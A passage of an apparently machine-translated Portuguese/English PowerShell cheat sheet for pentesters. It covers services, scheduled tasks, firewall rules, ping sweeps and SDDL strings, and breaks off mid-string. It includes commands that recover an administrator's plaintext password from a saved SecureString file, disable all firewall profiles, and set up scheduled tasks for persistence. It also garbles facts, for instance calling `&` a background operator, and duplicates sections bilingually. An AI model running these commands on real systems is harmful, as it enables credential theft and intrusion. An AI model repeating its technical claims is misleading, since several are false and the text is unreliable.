O PowerShell também permite executar comandos em segundo plano, o que pode ser útil durante um teste de penetração. Para executar um comando em segundo plano, podemos usar o operador `&` seguido pelo comando. Por exemplo, para executar o comando `ping` em segundo plano, podemos usar o seguinte comando:
|
|
|
|
```powershell
|
|
& ping 127.0.0.1 -n 10
|
|
```
|
|
|
|
Isso executará o comando `ping` em segundo plano e enviará 10 pacotes para o endereço IP 127.0.0.1.
|
|
|
|
### Conclusão
|
|
|
|
O conhecimento sobre processos é essencial para um testador de penetração, pois permite listar e finalizar processos no sistema alvo. Além disso, a capacidade de executar comandos em segundo plano pode ser útil para realizar tarefas específicas durante um teste de penetração.
|
|
```powershell
|
|
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
|
```
|
|
## Serviços
|
|
|
|
### Introduction
|
|
|
|
### Introdução
|
|
|
|
This section covers basic PowerShell commands that can be used by pentesters to gather information about services running on a Windows system.
|
|
|
|
Esta seção aborda comandos básicos do PowerShell que podem ser usados por pentesters para obter informações sobre os serviços em execução em um sistema Windows.
|
|
|
|
### Service Management
|
|
|
|
### Gerenciamento de Serviços
|
|
|
|
PowerShell provides several cmdlets for managing services on a Windows system. These cmdlets can be used to start, stop, restart, and query the status of services.
|
|
|
|
O PowerShell fornece vários cmdlets para gerenciar serviços em um sistema Windows. Esses cmdlets podem ser usados para iniciar, parar, reiniciar e consultar o status dos serviços.
|
|
|
|
#### Get-Service
|
|
|
|
#### Get-Service
|
|
|
|
The `Get-Service` cmdlet is used to retrieve information about services on a local or remote system. It can be used to list all services or filter the results based on specific criteria.
|
|
|
|
O cmdlet `Get-Service` é usado para recuperar informações sobre serviços em um sistema local ou remoto. Ele pode ser usado para listar todos os serviços ou filtrar os resultados com base em critérios específicos.
|
|
|
|
```powershell
|
|
Get-Service
|
|
```
|
|
|
|
```powershell
|
|
Get-Service
|
|
```
|
|
|
|
This command will list all services running on the local system.
|
|
|
|
Este comando listará todos os serviços em execução no sistema local.
|
|
|
|
```powershell
|
|
Get-Service -Name "wuauserv"
|
|
```
|
|
|
|
```powershell
|
|
Get-Service -Name "wuauserv"
|
|
```
|
|
|
|
This command will retrieve information about the "wuauserv" service.
|
|
|
|
Este comando recuperará informações sobre o serviço "wuauserv".
|
|
|
|
#### Start-Service
|
|
|
|
#### Start-Service
|
|
|
|
The `Start-Service` cmdlet is used to start a service on a local or remote system.
|
|
|
|
O cmdlet `Start-Service` é usado para iniciar um serviço em um sistema local ou remoto.
|
|
|
|
```powershell
|
|
Start-Service -Name "wuauserv"
|
|
```
|
|
|
|
```powershell
|
|
Start-Service -Name "wuauserv"
|
|
```
|
|
|
|
This command will start the "wuauserv" service.
|
|
|
|
Este comando iniciará o serviço "wuauserv".
|
|
|
|
#### Stop-Service
|
|
|
|
#### Stop-Service
|
|
|
|
The `Stop-Service` cmdlet is used to stop a service on a local or remote system.
|
|
|
|
O cmdlet `Stop-Service` é usado para parar um serviço em um sistema local ou remoto.
|
|
|
|
```powershell
|
|
Stop-Service -Name "wuauserv"
|
|
```
|
|
|
|
```powershell
|
|
Stop-Service -Name "wuauserv"
|
|
```
|
|
|
|
This command will stop the "wuauserv" service.
|
|
|
|
Este comando interromperá o serviço "wuauserv".
|
|
|
|
#### Restart-Service
|
|
|
|
#### Restart-Service
|
|
|
|
The `Restart-Service` cmdlet is used to restart a service on a local or remote system.
|
|
|
|
O cmdlet `Restart-Service` é usado para reiniciar um serviço em um sistema local ou remoto.
|
|
|
|
```powershell
|
|
Restart-Service -Name "wuauserv"
|
|
```
|
|
|
|
```powershell
|
|
Restart-Service -Name "wuauserv"
|
|
```
|
|
|
|
This command will restart the "wuauserv" service.
|
|
|
|
Este comando reiniciará o serviço "wuauserv".
|
|
|
|
### Conclusion
|
|
|
|
### Conclusão
|
|
|
|
Understanding how to manage services using PowerShell is essential for pentesters. These basic commands can be used to gather information about services, start or stop services, and restart services as needed.
|
|
|
|
Compreender como gerenciar serviços usando o PowerShell é essencial para pentesters. Esses comandos básicos podem ser usados para obter informações sobre serviços, iniciar ou parar serviços e reiniciar serviços conforme necessário.
|
|
```
|
|
Get-Service
|
|
```
|
|
## Senha a partir de uma string segura
|
|
|
|
When performing penetration testing on Windows systems, it is common to encounter situations where passwords are stored as secure strings. Secure strings are a way to protect sensitive information, such as passwords, by encrypting them and storing them in memory.
|
|
|
|
To retrieve the actual password from a secure string, you can use PowerShell. PowerShell provides a built-in cmdlet called `ConvertFrom-SecureString` that allows you to convert a secure string back to its original form.
|
|
|
|
Here's an example of how you can use PowerShell to retrieve a password from a secure string:
|
|
|
|
```powershell
|
|
$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
|
|
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
|
|
```
|
|
|
|
In the above example, we first create a secure string using the `ConvertTo-SecureString` cmdlet. We pass the desired password as a plain text string and use the `-AsPlainText` and `-Force` parameters to ensure that the secure string is created.
|
|
|
|
Next, we use the `[Runtime.InteropServices.Marshal]::SecureStringToBSTR` method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the `[Runtime.InteropServices.Marshal]::PtrToStringAuto` method to convert the BSTR back to a regular string, which represents the actual password.
|
|
|
|
By using this technique, you can retrieve passwords from secure strings during your penetration testing activities. However, it's important to note that this method requires access to the secure string itself, so it may not always be applicable in all scenarios.
|
|
```powershell
|
|
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
|
|
$cred=new-object system.management.automation.pscredential("administrator", $pw)
|
|
$cred.getnetworkcredential() | fl * #Get plaintext password
|
|
```
|
|
## Tarefas Agendadas
|
|
|
|
Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts, commands, or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence, privilege escalation, or executing malicious actions on a target system.
|
|
|
|
As tarefas agendadas são um recurso poderoso no Windows que permite automatizar a execução de scripts, comandos ou programas em horários ou intervalos específicos. Como um pentester, entender como manipular e explorar tarefas agendadas pode ser valioso para obter persistência, escalonamento de privilégios ou executar ações maliciosas em um sistema alvo.
|
|
|
|
### Viewing Scheduled Tasks
|
|
|
|
To view the list of scheduled tasks on a Windows system, you can use the `Get-ScheduledTask` cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local system or a remote system.
|
|
|
|
Para visualizar a lista de tarefas agendadas em um sistema Windows, você pode usar o cmdlet `Get-ScheduledTask` no PowerShell. Este cmdlet recupera informações sobre todas as tarefas agendadas no sistema local ou em um sistema remoto.
|
|
|
|
```powershell
|
|
Get-ScheduledTask
|
|
```
|
|
|
|
### Creating Scheduled Tasks
|
|
|
|
To create a new scheduled task, you can use the `New-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to specify the script, command, or program to be executed, as well as the schedule for the task.
|
|
|
|
Para criar uma nova tarefa agendada, você pode usar o cmdlet `New-ScheduledTask` no PowerShell. Este cmdlet permite especificar o script, comando ou programa a ser executado, bem como o agendamento da tarefa.
|
|
|
|
```powershell
|
|
New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am)
|
|
```
|
|
|
|
### Modifying Scheduled Tasks
|
|
|
|
To modify an existing scheduled task, you can use the `Set-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script, command, or program to be executed, the schedule, or the user account under which the task runs.
|
|
|
|
Para modificar uma tarefa agendada existente, você pode usar o cmdlet `Set-ScheduledTask` no PowerShell. Este cmdlet permite alterar várias propriedades da tarefa, como o script, comando ou programa a ser executado, o agendamento ou a conta de usuário sob a qual a tarefa é executada.
|
|
|
|
```powershell
|
|
Set-ScheduledTask -TaskPath "\MyTasks" -TaskName "MyTask" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1")
|
|
```
|
|
|
|
### Deleting Scheduled Tasks
|
|
|
|
To delete a scheduled task, you can use the `Unregister-ScheduledTask` cmdlet in PowerShell. This cmdlet removes the specified task from the system.
|
|
|
|
Para excluir uma tarefa agendada, você pode usar o cmdlet `Unregister-ScheduledTask` no PowerShell. Este cmdlet remove a tarefa especificada do sistema.
|
|
|
|
```powershell
|
|
Unregister-ScheduledTask -TaskPath "\MyTasks" -TaskName "MyTask"
|
|
```
|
|
|
|
### Conclusion
|
|
|
|
Scheduled tasks are a fundamental component of Windows systems and can be leveraged by pentesters for various purposes. By understanding how to view, create, modify, and delete scheduled tasks using PowerShell, you can effectively manipulate and exploit this feature to achieve your objectives.
|
|
```powershell
|
|
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
|
|
```
|
|
### Interfaces
|
|
|
|
As interfaces de rede são componentes essenciais para a comunicação de um sistema com a rede. No Windows, podemos usar o PowerShell para gerenciar e configurar as interfaces de rede.
|
|
|
|
#### Listar interfaces de rede
|
|
|
|
Para listar todas as interfaces de rede em um sistema Windows, podemos usar o seguinte comando PowerShell:
|
|
|
|
```powershell
|
|
Get-NetAdapter
|
|
```
|
|
|
|
Este comando irá exibir informações detalhadas sobre todas as interfaces de rede, como nome, descrição, estado, endereço MAC, velocidade, entre outros.
|
|
|
|
#### Habilitar ou desabilitar uma interface de rede
|
|
|
|
Podemos usar o PowerShell para habilitar ou desabilitar uma interface de rede específica. Para isso, precisamos conhecer o nome da interface que queremos modificar.
|
|
|
|
Para desabilitar uma interface de rede, usamos o seguinte comando:
|
|
|
|
```powershell
|
|
Disable-NetAdapter -Name "Nome da Interface"
|
|
```
|
|
|
|
Para habilitar uma interface de rede, usamos o seguinte comando:
|
|
|
|
```powershell
|
|
Enable-NetAdapter -Name "Nome da Interface"
|
|
```
|
|
|
|
Substitua "Nome da Interface" pelo nome da interface de rede que você deseja habilitar ou desabilitar.
|
|
|
|
#### Configurar endereço IP e DNS
|
|
|
|
Podemos usar o PowerShell para configurar o endereço IP e os servidores DNS de uma interface de rede.
|
|
|
|
Para configurar o endereço IP de uma interface de rede, usamos o seguinte comando:
|
|
|
|
```powershell
|
|
New-NetIPAddress -InterfaceAlias "Nome da Interface" -IPAddress "Endereço IP" -PrefixLength "Comprimento do Prefixo"
|
|
```
|
|
|
|
Substitua "Nome da Interface" pelo nome da interface de rede que você deseja configurar, "Endereço IP" pelo endereço IP desejado e "Comprimento do Prefixo" pelo comprimento do prefixo da máscara de sub-rede.
|
|
|
|
Para configurar os servidores DNS de uma interface de rede, usamos o seguinte comando:
|
|
|
|
```powershell
|
|
Set-DnsClientServerAddress -InterfaceAlias "Nome da Interface" -ServerAddresses "Endereço IP do Servidor DNS Primário", "Endereço IP do Servidor DNS Secundário"
|
|
```
|
|
|
|
Substitua "Nome da Interface" pelo nome da interface de rede que você deseja configurar e "Endereço IP do Servidor DNS Primário" e "Endereço IP do Servidor DNS Secundário" pelos endereços IP dos servidores DNS desejados.
|
|
|
|
#### Alterar o nome de uma interface de rede
|
|
|
|
Podemos usar o PowerShell para alterar o nome de uma interface de rede.
|
|
|
|
Para alterar o nome de uma interface de rede, usamos o seguinte comando:
|
|
|
|
```powershell
|
|
Rename-NetAdapter -Name "Nome da Interface" -NewName "Novo Nome da Interface"
|
|
```
|
|
|
|
Substitua "Nome da Interface" pelo nome atual da interface de rede que você deseja renomear e "Novo Nome da Interface" pelo novo nome desejado.
|
|
```powershell
|
|
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
|
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
|
```
|
|
### Firewall
|
|
|
|
Um firewall é uma medida de segurança essencial para proteger um sistema contra ameaças externas. Ele atua como uma barreira entre a rede interna e a internet, controlando o tráfego de entrada e saída com base em regras predefinidas.
|
|
|
|
No Windows, o firewall pode ser configurado usando o PowerShell. O PowerShell é uma poderosa ferramenta de linha de comando e scripting que permite automatizar tarefas administrativas.
|
|
|
|
Aqui estão alguns comandos básicos do PowerShell para configurar o firewall no Windows:
|
|
|
|
1. **Verificar o status do firewall:**
|
|
|
|
```powershell
|
|
Get-NetFirewallProfile
|
|
```
|
|
|
|
2. **Ativar o firewall:**
|
|
|
|
```powershell
|
|
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
|
|
```
|
|
|
|
3. **Desativar o firewall:**
|
|
|
|
```powershell
|
|
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
|
|
```
|
|
|
|
4. **Abrir uma porta específica:**
|
|
|
|
```powershell
|
|
New-NetFirewallRule -DisplayName "Allow Port 80" -Direction Inbound -LocalPort 80 -Protocol TCP -Action Allow
|
|
```
|
|
|
|
5. **Bloquear uma porta específica:**
|
|
|
|
```powershell
|
|
New-NetFirewallRule -DisplayName "Block Port 22" -Direction Inbound -LocalPort 22 -Protocol TCP -Action Block
|
|
```
|
|
|
|
Lembre-se de que a configuração do firewall deve ser feita com cuidado, levando em consideração as necessidades de segurança do sistema. É importante entender as implicações de cada regra antes de aplicá-las.
|
|
```powershell
|
|
Get-NetFirewallRule -Enabled True
|
|
|
|
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
|
|
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
|
|
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
|
|
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
|
|
|
|
# Open SSH to the world
|
|
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
|
|
|
|
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
|
|
## You can user the following line changing the initial filters to indicat a difefrent direction or action
|
|
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
|
|
```
|
|
### Rota
|
|
```powershell
|
|
route print
|
|
```
|
|
### ARP
|
|
|
|
O Protocolo de Resolução de Endereço (ARP) é um protocolo de rede usado para associar um endereço IP a um endereço MAC em uma rede local. Ele permite que os dispositivos na mesma rede se comuniquem uns com os outros usando endereços MAC.
|
|
|
|
O ARP funciona enviando uma solicitação de ARP para descobrir o endereço MAC correspondente a um determinado endereço IP. O dispositivo de destino responde com seu endereço MAC, permitindo que o dispositivo de origem estabeleça uma conexão direta.
|
|
|
|
Os hackers podem explorar o ARP para realizar ataques de envenenamento de cache ARP, onde eles falsificam as respostas de ARP para redirecionar o tráfego de rede para um dispositivo controlado por eles. Isso pode ser usado para interceptar dados sensíveis ou realizar ataques de negação de serviço.
|
|
|
|
É importante proteger sua rede contra ataques de ARP, implementando medidas de segurança, como a autenticação de ARP, que verifica a autenticidade das respostas de ARP recebidas. Além disso, é recomendado monitorar regularmente o tráfego de ARP em sua rede para detectar atividades suspeitas.
|
|
```powershell
|
|
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
|
|
```
|
|
### Hosts
|
|
|
|
Os arquivos de hosts são usados para mapear nomes de domínio para endereços IP. Eles são usados principalmente para bloquear ou redirecionar o tráfego de rede. No Windows, o arquivo de hosts está localizado em `C:\Windows\System32\drivers\etc\hosts`.
|
|
|
|
### Modificando o arquivo de hosts
|
|
|
|
Para modificar o arquivo de hosts, você pode usar o PowerShell. Aqui estão alguns comandos úteis:
|
|
|
|
- **Visualizar o conteúdo do arquivo de hosts:**
|
|
|
|
```powershell
|
|
Get-Content C:\Windows\System32\drivers\etc\hosts
|
|
```
|
|
|
|
- **Adicionar uma entrada ao arquivo de hosts:**
|
|
|
|
```powershell
|
|
Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "127.0.0.1 exemplo.com"
|
|
```
|
|
|
|
- **Remover uma entrada do arquivo de hosts:**
|
|
|
|
```powershell
|
|
(Get-Content C:\Windows\System32\drivers\etc\hosts) | Where-Object { $_ -notmatch "exemplo.com" } | Set-Content C:\Windows\System32\drivers\etc\hosts
|
|
```
|
|
|
|
Lembre-se de executar o PowerShell como administrador para poder modificar o arquivo de hosts.
|
|
```powershell
|
|
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
|
|
```
|
|
### Ping
|
|
|
|
O comando `ping` é uma ferramenta comumente usada para testar a conectividade de rede entre um host local e um host remoto. Ele envia pacotes de dados para o host remoto e aguarda por uma resposta. O tempo que leva para receber uma resposta é conhecido como latência. O comando `ping` é amplamente utilizado por pentesters para verificar a disponibilidade de um host e identificar possíveis problemas de rede.
|
|
|
|
#### Sintaxe
|
|
|
|
```
|
|
ping <host>
|
|
```
|
|
|
|
#### Exemplo
|
|
|
|
```
|
|
ping www.example.com
|
|
```
|
|
|
|
Neste exemplo, o comando `ping` é usado para testar a conectividade com o host `www.example.com`. O resultado mostrará o tempo de resposta e a taxa de perda de pacotes, se houver.
|
|
|
|
O comando `ping` é uma ferramenta simples, mas útil, que pode fornecer informações valiosas durante um teste de penetração.
|
|
```powershell
|
|
$ping = New-Object System.Net.Networkinformation.Ping
|
|
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
|
|
```
|
|
### SNMP
|
|
|
|
O Simple Network Management Protocol (SNMP) é um protocolo amplamente utilizado para gerenciamento de redes. Ele permite que os dispositivos de rede sejam monitorados e controlados de forma centralizada. O SNMP opera em uma arquitetura cliente-servidor, onde os dispositivos de rede são os agentes SNMP e o sistema de gerenciamento de rede é o gerente SNMP.
|
|
|
|
O SNMP usa mensagens para trocar informações entre os agentes SNMP e o gerente SNMP. Essas mensagens são chamadas de Protocol Data Units (PDUs). Existem diferentes tipos de PDUs, como GetRequest, GetNextRequest, SetRequest, entre outros, que são usados para solicitar informações dos agentes SNMP ou para configurar os agentes SNMP.
|
|
|
|
Os agentes SNMP mantêm uma estrutura de dados chamada Management Information Base (MIB), que contém informações sobre o dispositivo de rede, como status, configurações e estatísticas. O gerente SNMP pode consultar a MIB dos agentes SNMP para obter informações sobre o dispositivo de rede.
|
|
|
|
Os pentesters podem usar o SNMP para obter informações valiosas sobre a rede alvo, como topologia da rede, dispositivos conectados, configurações de segurança e muito mais. Eles também podem explorar vulnerabilidades no SNMP para obter acesso não autorizado aos dispositivos de rede ou para realizar ataques de negação de serviço.
|
|
|
|
É importante ressaltar que o uso do SNMP em um ambiente de produção deve ser feito com cuidado, pois configurações inadequadas podem levar a vazamentos de informações sensíveis ou a comprometimento da segurança da rede. Portanto, é recomendável que os administradores de rede implementem medidas de segurança adequadas, como autenticação e criptografia, para proteger o SNMP contra ataques.
|
|
```powershell
|
|
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
|
|
```
|
|
## **Convertendo a String SDDL em um Formato Legível**
|
|
|
|
Ao realizar testes de penetração em sistemas Windows, é comum encontrar permissões definidas em formato SDDL (Security Descriptor Definition Language). Essas permissões podem ser difíceis de entender e analisar diretamente. Felizmente, o PowerShell fornece uma maneira fácil de converter a string SDDL em um formato legível.
|
|
|
|
Para converter a string SDDL em um formato legível, você pode usar o cmdlet `ConvertFrom-SddlString`. Este cmdlet converte a string SDDL em um objeto de segurança do PowerShell, que pode ser facilmente manipulado e analisado.
|
|
|
|
Aqui está um exemplo de como usar o cmdlet `ConvertFrom-SddlString`:
|
|
|
|
```powershell
|
|
$sddlString = "O:BAG:BAD:(A;;0x1;;;S-1-5-32-544)(A;;0x1;;;S-1-5-18)"
|
|
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
|
|
$securityDescriptor
|
|
```
|
|
|
|
Neste exemplo, a variável `$sddlString` contém a string SDDL que desejamos converter. Em seguida, usamos o cmdlet `ConvertFrom-SddlString` para converter a string em um objeto de segurança do PowerShell. Por fim, exibimos o objeto de segurança resultante.
|
|
|
|
Ao executar o código acima, você verá o objeto de segurança convertido, que mostra as permissões em um formato mais legível.
|
|
|
|
A conversão da string SDDL em um formato legível pode ser útil ao analisar as permissões de um sistema Windows durante um teste de penetração. Isso permite que você compreenda melhor as permissões concedidas a diferentes usuários e grupos, facilitando a identificação de possíveis vulnerabilidades de segurança.
|
|
```powershell
|
|
|
|
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050